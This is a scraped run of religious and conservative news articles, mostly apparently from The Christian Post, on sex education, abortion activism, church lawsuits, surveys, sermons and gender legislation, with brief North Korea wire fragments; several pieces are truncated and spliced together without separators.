Planned Parenthood 'sex educator' pushing sex toys on kids, talks how to 'unlearn purity culture' TikTok influencer calls her Evangelical Christian upbringing 'toxic'

A TikTok influencer who teaches young people how to buy sex toys online and unlearn purity culture has been outed as a sex educator who works for a Planned Parenthood chapter in California.

Mariah Caudillo, who has over 418,000 followers on TikTok, works for Mar Monte Community Clinic in San Jose, a Planned Parenthood affiliate that offers sex education services to more than 220,000 people annually in California and Nevada, Fox News reported.

On her TikTok page @sexedfiles and other social media platforms, Caudillo advocates for pleasure-based sex education and argues that age need not be a determinative factor when it comes to deciding when to become sexually active.

In one video, Caudillo  who often takes sex-related questions from young people  is asked how old one must be to purchase a sex toy, which she calls a spicy toy.

It's not illegal to buy spicy toys online, even as a teen, which most people do, Caudillo replied. You just have to purchase them with a valid credit card, debit card or gift card.

She also recommends any of her followers who are interested in sex toys to purchase them online, adding, Do keep in mind that some of these stores also have age restrictions on their website, but like this app, people can access them anyway.

Caudillo suggests her followers make their own sex toys, including using everything from fruits and vegetables to an XBOX controller and an electric toothbrush.

The revelation of Caudillos popularity on social media comes just days after a tweet went viral with images of young students playing with sex toys and simulating sexual acts as part of club funded by Planned Parenthood.

The Rainbow Room is a club which is funded by Planned Parenthood. They partner with teachers to offer support for discussing topics relating to LGBTQ in school.



Heres a photo from one of their programs. Kids are pictured playing with sex toys and simulating sexual acts. pic.twitter.com/pFhNy1tc6f  Libs of TikTok (@libsoftiktok) January 19, 2023

The Rainbow Room, an initiative of Planned Parenthood Keystone in Pennsylvania, opened in 2002 with a mission to provide a supportive environment and programs for LGBTQ+ youth ages 14-21.

As anti-[LGBT] sentiment continues to grow, Planned Parenthood Keystone is fighting back by expanding our educational programming and giving youth the platform to be seen and heard, Melissa Reed, president and CEO of Planned Parenthood, said last June.

Planned Parenthood did not respond to a request for comment Monday from The Christian Post.

In a post from last March on her now-deleted LinkedIn account, Caudillo appeared to advocate for sex education for minors that is focused on how to experience pleasure.

"Everyone deserves pleasure in the way they want to experience pleasure, Caudillo wrote.

Reminder: pleasure-based sex education can be tailored to meet the needs of the youth you might be working with, in other words it can be age-appropriate and culturally relevant."

On her now-private Instagram account, Caudillo describes herself as an inclusive sex educator who advocates for trauma-informed, shame-free, comprehensive sex ed.

Last June, Caudillo appeared on the self-described feminist podcast Sex Ed with DB, in which she took questions and discussed unlearning purity culture through sex education.

During the podcast  which begins with promos for lubrication products and "incredible" sex toys  Caudillo described her childhood in terms of her familys faith.

"I grew up very religious, she told host Danielle Bezalel. I grew up very conservative and in a Christian Evangelical home, so this really set the tone for the way that I understood myself, the way I understood the world, and it was very toxic."

Caudillo then explained her lack of sex education and purity culture, and revealed she experienced sexual abuse and violence in her formative years.

"Purity culture, that's what my life was riddled with, so I didnt get sex education. My main sort of belief or understanding was that my body didn't belong to me, or it only existed to either make people happy or make people uncomfortable, she said. That's how I grew up for a very long time.

According to the Planned Parenthood website, comprehensive sex education refers to programs starting as young as kindergarten all the way through 12th grade and focuses on sexual behavior including the full spectrum of ways people choose to be, or not be, sexual beings, and sexual health topics, including abortion, birth control and STDs.

The website also offers additional sex education resources, including Power to Decide, whose stated mission is to ensure that all young people  have the power to decide if, when, and under what circumstances to get pregnant and have a child.
National flags of North Korea are lowered to half mast to mark the eleventh anniversary of the death of Kim Jong-il, the father of current leader Kim Jong Un, in Pyongyang, Dec. 17, 2022. AFP-Yonhap



U.S. President Joe Biden has nominated a State Department official as a new special envoy for North Korean human rights, the White House said Monday.



Julie Turner, director of East Asia and the Pacific at the department's bureau of democracy, human rights and labor, is the nominee.



"Turner has served more than 16 years in the Office of East Asia and the Pacific, in positions of increasing responsibility, primarily focused on initiatives related to promoting human rights in North Korea, including a tour as special assistant in the Office of the Special Envoy on North Korean Human Rights Issues," the White House said in a press release.






'Pro-Life Spiderman' climbs skyscrapers, risks everything to 'save these babies'

WASHINGTON  Attending the annual March for Life on the National Mall last week, the "Pro-Life Spiderman" shared why he is willing to "risk everything to save these babies" by climbing tall buildings to raise awareness and money on behalf of the right-to-life movement.

Maison Des Champs, who calls himself the "Pro-Life Spiderman," greeted those exiting the Smithsonian Metro station with pro-life signs Friday as pro-lifers from across the U.S. gathered on the National Mall for the annual anti-abortion demonstration.

He spoke with The Christian Post about his advocacy on behalf of the pro-life movement and shared his thoughts on the state of the movement following the U.S. Supreme Court's reversal of Roe v. Wade last June.

Originally from Michigan, Des Champs now resides in Las Vegas, Nevada. The 23-year-old has gained national attention by climbing skyscrapers to raise awareness for the pro-life cause.

"I've been climbing the buildings since May," he said.

Whenever Des Champs climbs a tall building, he fundraises for a handful of pro-life advocacy organizations seeking to help pregnant mothers in need of financial support.

The signs he handed out on the National Mall featured pictures of the babies he claims he was able to save. He elaborated on his strategy to raise funds for the pro-life movement, which he described as "really simple."

"I climb the building, then I go on the news, and then I say  'donate to Letthemlive.org,' and I bring the awareness, and then people donate," he stated. "It's been very successful, and I'm really happy to have been a part of it."

The activist attributes his passion for the pro-life movement to the outrage he felt after pro-life activists affiliated with the Progressive Anti-Abortion Uprising discovered remains belonging to full-term babies discarded as medical waste from an abortion clinic operated by Dr. Cesare Santangelo in Washington, D.C.

The pro-life activists launched the #JusticefortheFive campaign, offering a $25,000 reward for anyone with information leading to Santangelo's arrest.

As detailed on Des Champs' GoFundMe page seeking to raise $1,000,000 for pro-life charities, "Pro-life activists, with help from a whistleblower, obtained the bodies of 5 murdered babies that had come out of Dr. Santangelo's clinic. These babies were murdered during late-term abortions, and it is believed that some even survived their abortions and were left to die."

"I saw what was happening here in D.C. with Dr. Cesare Santangelo and the Justice for the Five incident, and my heart just felt convicted. I felt like I had to get involved. So as a climber, I thought of like, 'how can I change the culture?'"

"As a climber, I just fell into climbing skyscrapers, and there was a guy named Alain Robert and I just sort of stole his idea," he added.

Noting that Robert "invented skyscraper climbing," Des Champs identified Robert as a "good friend" who scales tall buildings to raise climate change awareness.

"I never climbed buildings before watching Alain do it," he told CP.

Des Champs developed experience climbing after moving to Yosemite, which he described as "the Mecca of rock climbing."

"I just sort of learned how to do it on a rock, and then it transferred over to buildings," he recalled.

Des Champs has climbed the Ritz-Carlton in Los Angeles, the Devon Tower in Oklahoma City, the Renaissance Center in Detroit, the New York Times building in New York City and the Salesforce Tower in San Francisco.

Seven months after the U.S. Supreme Court determined that the U.S. Constitution does not contain a right to abortion in its Dobbs v. Jackson Women's Health Organization ruling, Des Champs lamented what he views as "some superficialness" within the pro-life movement.

He urged young people to "work harder" on behalf of the right-to-life cause.

"I would like to see people go out and do more," he said. "I look at the 90s, and I see Operation Rescue, and I just look at the sacrifice that those people were willing to make, and I question whether or not our generation is willing to make that sacrifice. But I hope that I can inspire people to make that sacrifice and save these babies."

Founded in the 1980s, the pro-life group Operation Rescue gained national notoriety for staging sit-ins at abortion clinics, effectively blocking women seeking abortions from entering the facilities.

As Operation Rescue founder Randall Terry explained in a previous interview with The Christian Post, the passage of the Freedom of Access to Clinic Entrances (FACE) Act in 1994 "broke the back" of the movement by threatening abortion clinic blockaders with federal charges. The group has not engaged in such protests in nearly three decades.

Des Champs called on people to "risk everything to save these babies."

"I think if we show sacrifice and if we can show that, 'hey, we are willing to give up things to help these babies,' then the world can change, and we can change hearts and minds," the "Pro-Life Spiderman" believes.

He shared his faith's important role in his pro-life activism, stressing, "you can't climb skyscrapers if you ain't got faith."

"I represent Letthemlive.org, and I try to raise money for them and help save babies and help these women who are in a financial crisis pregnancy," he explained.

According to Let Them Live's website, the organization is "dedicated to financially and emotionally supporting [underprivileged] moms so they can confidently choose life for their babies."

Fundraisers on the website ask visitors to donate to help women who feel they have to abort their unborn children due to financial insecurity.

Des Champs previously operated a website detailing his aspiration to raise $1 million for pro-life charities. He supports other charities through a GoFundMe page: California Right to Life League, Save the Storks, Save Unborn Life and Nevada Right to Life.

While he acknowledges there are dangers involved, he says "most skyscrapers are easier to climb than rock" because "the large rails and positive [window] sills are ginormous in comparison to the credit card-sized holds found on rock."

Des Champs said, "in most states and cities, there are no laws against climbing skyscrapers."

While Des Champs is often "charged with some form of trespassing or disorderly conduct" and has been arrested on occasion, he said those charges are either "dropped or easily fought in court."

The activist said he had no plans to climb buildings in D.C. because of legal concerns surrounding federal prosecutors seeking to "put [him] away" if he did.
The secret of happiness

Many live with the misconception that the Christian life is dull, uptight, and colorless. People associate Christianity with the fun things theyre not allowed to do, yet really have no idea what its all about.



I have been on both sides of that fence.

I lived without God for the first 17 years of my life and pretty much sampled everything this world has to offer. I watched as my alcoholic mother married and divorced seven times. Even before someone told me about Jesus, I knew the answer was not in the things I had observed or tried. Deep down, I knew that all of that was a dead end. I knew there had to be more, and it sent me on an existential search.

In all honesty, there are some things this world offers that can be fun  for a while. Its sort of like riding a roller coaster that has some of its tracks missing: Its a real rush until you reach the place where the tracks stop, and then the fun ends abruptly.

Even the Bible tells us there is pleasure in sin for a time (Hebrews 11:25). But the Bible also warns that the wages of sin is death (Romans 6:23). When its all said and done, the world can only offer cheap knock-offs of genuine happiness.

If you are looking to this world to make you happy you will never be satisfied.

Yet Gods Word reveals the way to genuine happiness. The psalmist writes: How joyful are those who fear the Lord, and delight in obeying his commands (Psalm 112:1, nlt). Another translation says that all who fear God and trust in him are blessed beyond expression (tlb).

Many view this life choice as restrictive, like an ankle monitor with a flashing red light. But its quite the opposite. Gods commandments are not like the bars of a cage to keep you in; they are barriers of protection to keep evil out. God gives us parameters and guidelines and absolutes for our own good to keep us out of trouble and the devastating unhappiness that follows.

The Bible tells us to never seek happiness outright, but seek to be holy and watch as happiness seeps steadily into our lives as a byproduct. By the way, dont let that word holy throw you. Maybe if I spelled it differently, it would make more sense: Live a whollycommitted life to Jesus Christ, and you will be happy as a result. That doesnt mean following Jesus is easy or that Christians dont face difficulty, sickness, and even tragedy. But the happiness the Bible promises is more than the fleeting, watered-down version we find in our culture today. The happiness the Bible promises is real, lasting, and fulfilling.

Without God, life is never full enough. Solomon, who tried and had it all said, Everything is so weary and tiresome! No matter how much we see, we are never satisfied. No matter how much we hear, we are not content (Ecclesiastes 1:8, nlt).

The fleeting happiness this world has to offer comes and goes depending on your circumstances. But true happiness is a byproduct of a meaningful life. According to the Bible, if we seek to know God and discover His plan for our lives, we will truly find the happiness that has eluded us.

You cant find happiness by seeking it. You can only find it by seeking Him. As C. S. Lewis observed, God designed the human machine to run on Himself.

The reason you have this emptiness inside is because you were made that way! There is nothing this world offers that can fill a void that was created for God Himself. The Bible tells us that He has placed eternity in [our] hearts (Ecclesiastes 3:11). We are uniquely made in Gods image. All the possessions, success, sex, fame, or power will not fill that void. Only God will.

So, stop chasing happiness, and instead, follow the Lord with all of your heart, strength, and mind. And happiness will come to stay. Forever.
Fasting Celebration Church founders expected in court to fight eviction notice

Stovall and Kerri Weems, the founders of Celebration Church in Jacksonville, Florida, are expected to return to court on Monday afternoon to fight a push from the current leaders of the church to evict them from a Black Hammock Island home that was purchased as a parsonage.

Celebration Church is demanding in a lawsuit that the Weemses, who are expected in court at 1 p.m. Monday, vacate the million-dollar waterfront parsonage because they completely resigned from all work with the church in April 2022.

Church officials argued in the lawsuit filed on June 1 that on June 6, 2021, Stovall Weems purchased the disputed home located at 16073 Shellcracker Road on behalf of the church and Weems Group, LLC, which he managed himself. The purchase was made without authorization from the churchs board. Redfin reports that the home, which has an estimated value of $1,394,606, was last sold for $1,286,900

The Weemses remain in possession of the  property despite Stovall Weems resignation of employment, the Weemses refusal to pay rent and the church demands that the Weemses vacate the premises, the lawsuit says.

The Celebration Church founders are on a 21-day period of prayer and fasting, which is expected to end on Feb. 3, according to their website Awakening Ecclesia.

On Tuesday, the couple is also expected to appear at a hearing regarding a defamation lawsuit they filed against Celebration Church and its board of trustees.

The defamation lawsuit follows the release of an internal investigation commissioned by the church that painted them as abusive leaders who exploited church staff and finances until they were forced to resign.

The single word used most frequently to describe Stovall Weems was narcissist. Nearly every witness we interviewed used that specific word, a 22-page report on the investigation produced by the Nelson Mullins law firm said.

According to the report, the Weemses leadership had been inconsistent and unbiblical" since at least 2019. Investigators allege that Stovall Weems leadership was marked by rampant spiritual and emotional abuse, including manipulation, a profound sense of self-importance and selfishness, superiority and entitlement, overbearing and unreasonable demands on employees time, a lack of accountability or humility, and demands of absolute loyalty.

Earlier this month, First Citizens Bank revealed that they reached a settlement with the former megachurch leaders, six months after they sued them and several companies they control for defaulting on more than $700,000 in loans.

An attorney for the bank filed notice at the Duval County Courthouse in Florida last month stating that they were voluntarily dismissing the suit as a result of [an] amicable settlement.
Donate, bury or burn? How to dispose of a worn-out Bible

Whatever you do, dont trash the Bible.

Thats not just good life advice, its also solid counsel when it comes to getting rid of a worn-out copy of the Word of God.

Most Americans who own a Bible tend to own multiple copies  3.6 copies to be exact  while 84% own at least two copies, at least according to a 2012 study.

So how are folks to dispose of all this Scripture (when theyre done reading and memorizing it, of course)? Does the Bible address how to trash itself, so to speak?

Not really, according to Dr. Darrell Bock, executive director for Cultural Engagement at the Hendricks Center at Dallas Theological Seminary.

I am not sure there is a single text on this, Bock told The Christian Post. A Bible is precious, but it is not something we worship.

While nobody suggests simply throwing the Good Book in the trash, here are a few ways believers can gracefully transition to a new copy while still respecting the Word.
More Americans say they want to grow spiritually amid growing openness to other faiths: study

Despite a growing rejection of organized religion, with fewer than 50% of Americans holding formal church membership, spiritual openness is on the rise, with a majority of U.S. adults saying they believe in God or a higher power and want to grow spiritually, new data from the Barna Group suggests.

The data comes from a survey of 2,000 U.S. adults conducted in October 2022 by the Evangelical polling organization. It shows that 77% of respondents expressed belief in a higher power, and 74% said they want to grow spiritually.

Less than half of the survey sample, 44%, said they are more open to God than before the pandemic.

Some 80% of respondents said they are certain or think there is a spiritual or supernatural dimension to the world. Another 11% said even though it could be possible, they don't believe the spiritual world exists, while 9% expressed no belief in the spiritual world.

The findings are similar to Pew Research data published in 2018, which showed that although 80% of Americans say they believe in God, only a slim majority of the nation's approximately 327 million people were found to believe in God as described in the Bible.

Barna CEO David Kinnaman noted that "our new data give Christian leaders cause for hope."

"Though religious affiliation and church attendance continue to decline, spiritual openness and curiosity are on the rise. Across every generation, in fact, we see an unprecedented desire to grow spiritually, a belief in a spiritual/supernatural dimension and a belief in God or a higher power," Kinnaman noted.

The Barna CEO said one of the most inspiring features of the open generation for him is based on findings from The Open Generation study, which show that "young people may be fueling this rise in spiritual hunger."

"Overwhelmingly, Christian teens today say that Jesus still matters to them; 76 percent say 'Jesus speaks to me in a way that is relevant to my life,'" Kinnaman said. "In a culture that has generally downgraded the reputation of Christians and relegated Sunday worship and other church-related activities to the sidelines of society, teens remain refreshingly open to Jesus as an influence in their lives."

However, the challenge for Christians witnessing to teenagers today is that the faith market is competition from other faiths.

"They are open to different faiths, including Christianity, and they're open to friends, causes, and ideas," Kinnaman said. "Though parents, educators, and others who mentor young people have a tall task to provide wise guidance to emerging adults, today's teens are confronting the church with something that I think we haven't seen before  a kind of blank slate; a chance to imagine a different future."

Beyond appealing to teenagers, the rising spiritual openness could also be a challenge for traditional Christian ministries.

"Our data on the rising spiritual openness in America, coupled with The Open Generation research, reveal a tremendous opportunity for faith leaders. The majority of Americans has signaled that they're willing to consider exploring spirituality. They are open to more that truly satisfies," Kinnaman noted.

"The challenge facing the Church and parachurch ministries is whether they are ready and able to meet the spiritually open  where they are, as they are," he added. "Our data show the Church has real work to do to bridge the trust gap for people who are spiritual but not religious."
Nearly half of Gen Z Americans view socialism favorably: survey

After 100 million murders, dozens of wars, unquantifiable starvation, and gulags created under socialism, 40% of Americans today consider it favorable, a survey by Victims of Communism Foundation has found.

The Victims of Communism Foundation released its fifth annual survey, asking 2,100 representative Americans their opinions on socialism. In 2020, 4% more Americans view socialism favorably than in 2019.

Younger generations approve of socialism most, the survey said. Some 49% of Generation Z and 47% of millennials have favorable opinions of the term socialism. For millennials, that number has gradually declined from 50% in 2018 and 49% in 2019.

It also found that one in four Americans favors the gradual abolition of the capitalist system. Some 12% of Gen Z and 10% of millennials said they believe "society would be better off if all private property was abolished and held by the government."

The change in approval toward socialism has delivered remarkable political gains for socialists, said Democratic Socialists of America San Diego chapter Treasurer Herbert Shore in an interview with The Christian Post.

There was a lot of activity after Trump was elected, he said. The institution has increased tremendously. Eight years ago, we had 6,000 members nationally. Now were passing around 70,000. Weve become a significant force in American politics.

Reps. Alexandra Ocasio-Cortez, D-N.Y., and Rashida Tlaib, D-Mich., are both members of the DSA. Along with former presidential candidate Sen. Bernie Sanders, I-Vt., who also identifies as a Democratic Socialist, they represent an increasing acceptance of socialist politicians.

According to Shore, the government should take over electric utilities, railways systems, and other companies that affect many Americans. And workers should have representatives on the directing boards of corporations.

Its more closely linked to the government taking a larger role in the whole economy. Its not about seizing the means of production as a whole, he contended.

Shore said that many of the DSAs new members are young people who feel that neither Republicans nor Democrats help working-class people. The DSA doesnt have a clear set of beliefs or policies because most American socialists define socialism differently, although it can be roughly understood as the way Bernie Sanders describes it, he added.

In 1988, Sanders honeymooned in the Soviet Union. He praised Venezuela in 2011 as a place where the American dream is more apt to be realized. As recently as February, Sanders said its unfair to simply say everything is bad about dictator Fidel Castros Cuba.

People who are older, their attitudes tend to change, Shore said. Bernie Sanders today did not espouse anything like [support for Venezuela and praise for Fidel Castro.] Very few American socialists are Marxists, he said.

Wall Street Journal opinion columnists noted, however, that Sanders has a long history of backing Venezuela's dictators. In 2003, Sanders signed a letter in support of Hugo Chavez at a time when politically motivated arrests and property confiscation were rampant. Similarly, Sanders has received criticism from even Democrats for backing socialist dictator Nicolas Maduro, and for saying he would not recognize Juan Guaido as the legitimate president of Venezuela.

Victims of Communism Foundation Director Marion Smith said that socialists cannot redefine the term socialism.

Its a term for an ideology, an imperfectly practiced system that affected the lives of millions of people. They dont get to redefine it, he said. The DSA has misled the public on the meaning and history of the word. That is dangerous.

Socialism means government control of the economy, Smith explained. If people vote a socialist government into power, it will be the last time they vote. Every time socialists have ruled a nation, it resulted in economic collapse and the creation of dictatorial police states.

People murdered in Venezuela were murdered with the wink and nod of the Chavez regime because they were class enemies, he said.

The media and school system have ignored the legacy of murder that socialist states have left behind, Smith added. Young people dont learn the crimes of socialists, so they become socialist.

Unlike the crimes of Nazis, the crimes of communist regimes never received a moral reckoning and legal accountability. Those who defended the Soviet Union never apologized, he said. Socialism should be just as unacceptable as fascism.

Shore and Smith agree that multinational corporations are one reason why some young Americans are showing interest in socialism.

Smith noted that corporations that use slave labor in Communist China arent really part of the free market. And Shore said that the migration of manufacturing jobs overseas has left many Americans behind.

Arthur Herman, a senior fellow at the Hudson Institute, noted in an op-ed for WSJ that in the last 20 years, more than 5 million manufacturing jobs have been lost. "In the 1960s, manufacturing made up 25% of U.S. gross domestic product. Its barely 11% today."

Herman added: "A 2018 White House Office of Trade and Manufacturing Policy study noted that, since 2000, Americas defense industry has shed more than 20,000 U.S.-based manufacturing companies. As the work those companies once did domestically has shifted overseas, much of it has gone to China."

Speaking more on China, Smith told CP that big business in the United States has given free enterprise a bad name."

"More millennials and Generation Z members have realized some of Americas largest corporations have conspired with some of the worst regimes on earth, including China, to use slave labor, Smith continued. The little man in China suffering under the slave system and the average worker in the Midwest have a lot more in common than they realize about wanting free enterprise.

Christians should remember that socialism has no greater enemy than faith, Smith stressed.

"Every socialist system has viewed religion as an existential threat. Anything that provides a moral authority higher than the Communist Party is a threat."

In August, a survey released by the Cultural Research Center headed by noted evangelical pollster George Barna found that 98% of Americans who hold socialist beliefs reject a biblical worldview.

By contrast, 83% of those who hold a biblical worldview responded that they preferred capitalism over socialism," according to findings from the American Worldview Inventory 2020.
Pastor offers 3 reasons why God allows trials and suffering

A young adults pastor at a Virginia megachurch recently detailed three biblical reasons why God allows trials and suffering.



Austin Hamrick of Cornerstone Church of Leesburg shared with an audience of mainly young adults in a sermon last Monday about why God allows Christ's followers to go through trials and hardships, preaching from James 1.

The first reason, Hamrick said, is that God wants to help His followers "mature."

"God wants to use the difficulty to mature us, to grow us up. And some of us  and I've been guilty of this myself  our growth has been stunted in the Lord because instead of having confidence in the Lord, we complain," Hamrick preached. "I'm not saying God has caused it, but He's permitted it."

"And as much as we don't like to go through the bad times, it purges us of ... self-reliance," he said. "The Lord has done a wonderful work in my life by purging me of this self-reliance."

Hamrick, an assistant pastor who oversees the young adult ministry and communications at the church, said people tend to "esteem in our culture, people who are self-made." He said, "the problem with self-made people is that they're self-reliant" and "God does not want a self-reliant person."

"He wants a person completely reliant and dependent on the power of the Holy Spirit. Because God gets no glory when you accomplish things in your own effort, with your own pride," Hamrick said.

"The only way God gets glory is when you submit all that you do to the Lord and say: 'this wasn't because of me. But when I relied on the Lord and His power and His strength, when I relied and pressed further into the Holy Spirit, asking God to show up in my life, that's where God received more glory, and God could use me to the fullest extent.'"

The second reason God allows trials, Hamrick believes, is to "correct" people, claiming they "will never grow up in the Lord as long as [they] neglect correction."

"Sometimes, we invite trials and difficulty into our lives by our own sinful choices and decisions. So, I'm not going to sugarcoat it. Why do we face difficulty sometimes? Because we just make bad decisions," Hamrick stated.

"I've made plenty of poor choices and decisions in my own life, where God has then come alongside by His Holy Spirit, and He's corrected me. Now here's the key: not to neglect that correction, but to receive it."

The pastor said when people sin and fall short, they often invite consequences into their lives through their own "foolish decisions."

"[God] says if you would repent and turn from your sin, my arms are wide open to reconcile you back to Me because He's gracious. He's loving. He's compassionate. The Bible says He's slow to anger. He's abounding in love. So when you sin, God's grace is so deep that He desires to pull you out of that pit. But it sometimes involves correction," Hamrick said.

"Don't despise it. Don't neglect it. God uses our difficulty for our correction so that we wake up and we don't live in our sin any longer. But don't see God as just this killjoy.  Listen, every good parent disciplines the child that they love. You know this [from] when you were a kid."

The final reason Hamrick mentioned is that God wants to "direct" people.

"Sometimes God allows difficulty to redirect us for a season. This is what He did with Paul in the book of Acts. He redirected Paul's course. And He used a winter storm to do it so that Paul was then shipwrecked on Malta so that he could heal, by the power of the Holy Spirit, several people on the island who were sick. And then after that, [God] got him back on track to Rome," Hamrick said.

"The storm didn't come because Paul had done something wrong. It was just the tool, so to speak, that God used for his purposes. ... No matter what form trials might come in, God promises that He will bless the person who perseveres."
SBC President Bart Barber says sexual abuse hotline 'worth the cost' in response to concerns

Bart Barber, president of the Southern Baptist Convention, said the cost of doing nothing to combat sexual abuse outweighs the cost of doing something in response to concerns about the cost of an abuse hotline.

For all of my adult life there have been occasions where sexual abuse took place and the (Southern Baptist) Convention was sued and weve been paying that expense, Barber said in a video posted on Twitter earlier this month.

The only way to make the expense go away is to make the abuse go away. And I firmly believe that anything that we can do to prevent sexual abuse in our churches, anything that we can do to aid survivors and help them is money well spent and reduces our expenses in the long run.

The cost of doing something.



The cost of doing nothing. pic.twitter.com/rpyAWUXWro  Bart Barber (@bartbarber) January 17, 2023

The hotline was established by the SBC Executive Committee in May 2022 in response to a report released by Guidepost Solutions detailing how the denominations leadership mishandled sexual abuse allegations for two decades. The hotline is managed by Guidepost.

The goal of the SBC Hotline is to gather reports of current or former allegations of sexual abuse in a trauma-informed, safe atmosphere for survivors so as to inform the SBC about any past or current issues and allegations which demand action, reads the hotline website.

On Twitter, Barber addressed questions about the monthly costs associated with a hotline to report alleged incidents of sexual abuse within the denomination.

Barber said, theres not a flat monthly cost for the hotline and explained that the cost varies based on call volume.

And of course, the first few months of the hotline came when wed never had anything like that before and because wed never had anything like that before, theres a backlog of people waiting to call in, he said.

Barber said despite the high costs, he believes having the hotline is the right thing to do.

I think according to Gods economy and according to the way that accountants look at the economy, its a good investment for Southern Baptist[s] to do everything that we can, even if it costs some money to do it, everything that we can to assist our local churches to prevent abuse and to comfort those and provide support for those who are survivors of abuse, he added.

Barber also said the main thing that motivated SBC messengers to establish the hotline is the human cost, adding: I think the main thing that has motivated us is the human cost. If we dont care about the human cost of abuse, then were in the wrong business and were serving the wrong master.

Over the last several years, the SBC has sought to tackle the issue of sexual abuse. In June, the SBC overwhelmingly voted to pass a series of abuse reform recommendations at its Annual Meeting in Anaheim, California.

In December, the Abuse Reform Implementation Task Force, the group tasked by SBC messengers with creating the policies, issued an update on their work and reaffirmed their commitment to helping churches prevent sexual abuse and minister well to abuse survivors.

Among other duties, the group was tasked with creating a Ministry Check database to keep track of church leaders accused of sexual abuse.

The names listed on the website would be people who have been "credibly accused" of sexual abuse. This encompasses a "pastor, denominational worker, or ministry employee or volunteer  who has confessed to sexual abuse in a non-privileged setting, who has been convicted in a court of law, or who has had a civil judgment rendered against them."

ARITF Chairman Marshall Blalock told the Baptist Press that since September, the group has worked to create multiple reforms which must be designed from the ground up.

We have had to divide the team into smaller groups to work simultaneously on these important initiatives, he said. We realized when we started back in September the work before us was far more complicated than it appears at first glance.

Blalock told BP the group plans to publish the new initiatives in the new year.

While the task is more difficult than anticipated, our team is united by a Christ-honoring passion to help churches prevent sexual abuse and minister well to abuse survivors. We understand the urgency of what we have been called to do, and that drives us every day.
UK govt official says 'conversion therapy' ban wont harm parents, faith leaders

A United Kingdom government official contends that the government's proposed ban on "conversion therapy," once written up, will provide conscience protections for religious groups and parents who hold traditional views on sexual orientation and gender identity.

Equalities Minister Kemi Badenoch wrote a letter last Wednesday to members of Parliament outlining the government's proposal in the House of Commons Tuesday, which is slated to culminate in a bill published in full later this year. A copy of the minister's letter was emailed to The Christian Post.

Badenoch stated that the government intends to craft a bill that balances both protections for LGBT youth and respects the rights of religious beliefs and parents.

"Undertaking pre-legislative scrutiny on this legislation will ensure that the final legislation does not cause unintended consequences, is robust and receives appropriate scrutiny," wrote Badenoch.

"It will ensure the Bill is designed in such a way as to provide strong protections whilst ensuring faith leaders, parents, teachers or counsellors continue to be able to have exploratory conversations with people about their sexual orientation, sex or gender identity."

Badenoch added that the "freedom to express the teachings of any religion, as well as everyday religious practice, will not be affected by the ban."

Simon Calvert of the Christian Institute said in a statement that he believes that letter from Badenoch "confirms what we've been saying for years," which is that a conversion therapy ban "is an absolute minefield, primarily because no one knows what it is."

"Activists used to say they wanted to outlaw brutal abuse like electro-shock therapy. But that's already illegal. Now they're admitting what they really want is to outlaw traditional theology and gender critical feminism," stated Calvert.

"They don't like women's activists and parents discouraging young people from rushing into gender transition. So they are weaponizing the language of 'safeguarding' to try to bounce Parliament into outlawing the opinions of their theological and philosophical opponents. This is not what the criminal law is for."

Also called "reparative therapy" or "sexual orientation changes efforts therapy," conversion therapy seeks to reduce or eliminate same-sex attraction in an individual.

In 2018, the U.K. government announced its intention to craft legislation banning conversion therapy, albeit with some conscience protections.

Conservative Christian groups in the U.K. expressed concern that such legislation would be used to target their organizations and parents who consider homosexuality to be sinful behavior.

In 2021, former Prime Minister Boris Johnson responded to these concerns, assuring that any new law would "continue to allow adults to receive appropriate pastoral support (including prayer), in churches and other religious settings, in the exploration of their sexual orientation or gender identity."

Under Prime Minister Rishi Sunak, the current government announced its intention to introduce a conversion therapy ban later this year to add protections for trans-identified individuals.

"The Bill will protect everyone, including those targeted on the basis of their sexuality, or being transgender," Michelle Donelan, the secretary of state for digital, culture, media and sport, was quoted as saying by Reuters.

"The legislation must not, through a lack of clarity, harm the growing number of children and young adults experiencing gender related distress, through inadvertently criminalizing or chilling legitimate conversations parents or clinicians may have with their children."
Va. lawmaker introduces Sages Law after girl is trafficked, kept from grandparents deemed unfit for 'misgendering'

A Virginia lawmaker has introduced a bill that would require schools to inform parents if their child is confused about their sexual identity in response to a girl being the victim of trafficking due to the system refusing to give custody to her grandparents who were deemed unsafe due to an incident of "misgendering."

State Delegate Dave LaRock announced Thursday that he introduced a bill, known as HB 2432 or "Sages Law, which requires anyone licensed as administrative or instructional personnel by the Board of Education and employed by a local school board to contact at least one parent of a student who self-identifies as trans to ask whether such parent is aware of the student's mental state and whether the parent wishes to obtain or has already obtained counseling for such student.

The inspiration for the proposed legislation was a recent story published by The Federalist about a 2021 incident in which a then 14-year-old girl named Sage (last name withheld) was trafficked and sexually assaulted in part because a court would not allow her grandmother (who had adopted her) to return home because she had not used the child's chosen male pronouns. At the time, the girl's grandparents were unaware of her gender confusion or that, while at school, the girl was identifying as a boy.

Sage, who at the time identified as male, enrolled at Appomattox County High School in August 2021 and experienced harsh bullying by some of the boys because of her confusion about her sexual identity. School officials had also delayed telling her grandmother because of their policy of keeping such information secret from parents and guardians.

Later, Sage was trafficked and ended up in Maryland, where she was forcibly kept in temporary custody and forced to live in a home for troubled boys with boys because a court had decided that her adopted grandparents were wrong to not affirm her trans identity, reported The Federalist.

From there, as the courts continued to deny custody to her adopted grandparents because they would not affirm her chosen sexual identity at the time, Sage was again trafficked and assaulted, eventually being rescued in Texas by U.S. Marshals in January 2022.

Sage has since renounced her former self-identification as a boy, according to The Federalist, with the teenager wanting the system to do a better job of protecting other youths who might be experiencing gender dysphoria.

In a statement posted on Facebook, LaRock said that Virginia law needs to be absolutely clear that affirming a childs biological sex does not justify taking a child away from their family.

Teachers, school counselors, social service workers and courts must respect the parents fundamental rights in the parent-child relationship by involving parents immediately when a child is experiencing serious challenges, stated LaRock.

The horrific treatment of Sage has shown the need to provide protections for parents and children in Virginia.

However, Democratic Delegate Danica Roem, an openly trans-identifying person elected to the General Assembly back in 2018, expressed opposition to the bill.

Even more children will be put in danger if the government interjects itself into the most personal of family discussions like this, regardless of whether its safe for the child to be out, claimed Roem, as quoted by WTKR.

The Virginia bill also states that if a student says that the reason for being at imminent risk of suicide relates to being an abused or neglected child  as the result of parental abuse or neglect, this contact shall not be made with the parent.

Instead, the person shall, as soon as practicable, notify the local department of social services of the county or city wherein the child resides or wherein the abuse or neglect is believed to have occurred or the state Department of Social Services' toll-free child abuse and neglect hotline, the bill adds.
U.S. Department of State press secretary Ned Price is seen speaking during a daily press briefing at the department in Washington in this screen capture, Jan. 23. Yonhap



The United States and South Korea regularly discuss ways to address threats posed by North Korea, including its support for Russia's war against Ukraine, a state department spokesperson said Monday.



